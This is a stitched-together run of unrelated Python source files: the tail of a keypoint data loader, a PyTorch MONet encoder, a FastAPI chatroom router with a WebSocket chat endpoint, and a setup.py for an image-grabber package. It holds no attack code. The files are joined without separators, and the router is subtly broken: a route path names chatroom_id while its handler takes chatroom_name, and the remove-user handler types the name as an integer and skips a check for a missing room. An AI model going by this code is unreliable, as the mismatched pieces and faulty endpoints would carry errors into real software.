        k = 3 # 3 values per keypoint
        keypoints = [coordinates[i * k:(i + 1) * k] for i in range((len(coordinates) + k - 1) // k)]

        keypoints = np.asfarray(keypoints)
        # keypoints = normalize(keypoints)
        keypoints = np.reshape(keypoints, (1, 3, 21))
        samples.append(keypoints)

    samples = np.asfarray(samples)
    labels = np.asfarray(labels)
    print("Data shape:", samples.shape)
    print("Labels shape:", labels.shape)

    return samples, labels

if __name__ == '__main__':
    load_train_test_data()


import torch
import torch.nn as nn
from torch.nn import Sequential as Seq
import torch.nn.functional as F

import modules.blocks as B

class MONetCompEncoder(nn.Module):

    def __init__(self, cfg, act):
        super(MONetCompEncoder, self).__init__()
        nin = cfg.input_channels if hasattr(cfg, 'input_channels') else 3
        c = cfg.comp_enc_channels
        self.ldim = cfg.comp_ldim
        nin_mlp = 2*c * (cfg.img_size//16)**2
        nhid_mlp = max(256, 2*self.ldim)
        self.module = Seq(nn.Conv2d(nin+1, c, 3, 2, 1), act,
                          nn.Conv2d(c, c, 3, 2, 1), act,
                          nn.Conv2d(c, 2*c, 3, 2, 1), act,
                          nn.Conv2d(2*c, 2*c, 3, 2, 1), act,
                          B.Flatten(),
                          nn.Linear(nin_mlp, nhid_mlp), act,
                          nn.Linear(nhid_mlp, 2*self.ldim))

    def forward(self, x):
        return self.module(x)


import json
from fastapi import APIRouter, Depends, HTTPException, status,WebSocket,WebSocketDisconnect

from typing import List,Optional
from sqlalchemy.orm import Session
from . import crud, schemas
from project.database import get_db
from project.users.decorators import login_required
from project.users.auth import get_user_from_token
from project.users.models import User
from project.users.crud import get_user_by_username

router = APIRouter()

@router.post("/create/", response_model=schemas.ChatRoom)
def create_chatroom(chatroom: schemas.ChatRoomCreate, db: Session = Depends(get_db), current_user: User = Depends(login_required)):
    return crud.create_chatroom(db=db, chatroom=chatroom, owner=current_user)

@router.get("/", response_model=List[schemas.ChatRoom])
def read_chatrooms(skip: int = 0, limit: int = 10, db: Session = Depends(get_db), current_user: User = Depends(login_required)):
    chatrooms = crud.get_chatrooms(db, current_user,skip=skip, limit=limit)
    return chatrooms

@router.post("/chatrooms/{chatroom_id}/add_user")
def add_user_to_chatroom_endpoint(
    chatroom_name: str,
    username: str,
    db: Session = Depends(get_db),
    current_user: User = Depends(login_required)
):
    # Perform some validation if necessary, e.g. checking if the current_user is allowed to add users
    # For example, you might check if current_user is the owner of the chatroom
    chatroom = crud.get_chatroom(db,current_user, name=chatroom_name)

    if chatroom is None or  chatroom.owner_id != current_user.id:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="You do not have permission to add users to this chatroom."
        )
    user_to_add = get_user_by_username(db, username)  # You need to implement this function
    if not user_to_add:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail="User not found."
        )
    crud.add_user_to_chatroom(db, user_to_add, chatroom)
    return {"msg": "User added to chatroom successfully"}

@router.post("/chatrooms/{chatroom_name}/remove_user")
def remove_user_from_chatroom_endpoint(
    chatroom_name: int,
    username: str,
    db: Session = Depends(get_db),
    current_user: User = Depends(login_required)
):
    # Perform similar validation as above
    chatroom = crud.get_chatroom(db,current_user,name=chatroom_name)
    if chatroom.owner_id != current_user.id:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="You do not have permission to remove users from this chatroom."
        )
    user_to_remove = get_user_by_username(db,username)  # You need to implement this function
    if not user_to_remove:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail="User not found."
        )
    crud.remove_user_from_chatroom(db, user_to_remove, chatroom)
    return {"msg": "User removed from chatroom successfully"}

from fastapi import  WebSocket
from fastapi.responses import HTMLResponse

html = """
<!DOCTYPE html>

        <title>Chat</title>

WebSocket Chat

        <form action="" onsubmit="sendMessage(event)">
            <input type="text" id="messageText" autocomplete="off"/>
            <button>Send</button>
        </form>

"""

@router.get("/wsclient")
async def get():
    return HTMLResponse(html)
from .connections import ConnectionManager
manager  = ConnectionManager()
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket, db: Session = Depends(get_db)):
    # await websocket.accept()
    token = websocket.query_params.get('token')
    if not token:
        await websocket.close(code=status.WS_1008_POLICY_VIOLATION)
        return
    user = get_user_from_token(db,token)
    if not user:
        await websocket.close(code=status.WS_1008_POLICY_VIOLATION)
        return
    await manager.connect(websocket, user)
    try:
        while True:
            data = await websocket.receive_text()
            data_json = json.loads(data)
            room = data_json['room']
            message = data_json['message']
            await manager.broadcast_to_room(db,room, message, user)
    except WebSocketDisconnect:
        manager.disconnect(websocket, user.username)


from setuptools import (
    setup,
    find_packages,
    os,
)
from io import open

base_directory = os.path.dirname(__file__)

def get_module_name(line):
    filename = line.split('/')[-1]
    module_name = filename.split('.tar.gz')[0]
    return '-'.join(module_name.split('-')[:-1])

def get_requirements(filename):
    content = []
    with open(os.path.join(base_directory, filename)) as f:
        for line in f:
            # Temporary computation needed for planet-common-client and modules installed from GitHub
            if line.startswith('-e'):
                module = line.split("#egg=")[1]
            elif line.startswith(('https://', 'http://')):
                module = get_module_name(line)
            else:
                module = line
            content.append(module)
        return content

dev_requires = []
install_requires = get_requirements('requirements.txt')

COVERAGE_PACKAGES = find_packages(base_directory, exclude=["core", "*_tests", "*.*_tests", "*.migrations"])

if __name__ == "__main__":
    setup(
        name='pl-gallery-grabber',
        version='0.2',
        author='Jeremy Mayeres',
        url='https://github.com/jerr0328/pl-gallery-grabber',
        description='Planet Gallery Image Grabber',
        long_description=open('README.md', encoding='utf-8').read(),
        packages=find_packages(exclude=('*tests', )),
        install_requires=install_requires,
        extras_require={
            'dev': dev_requires,
        },
    )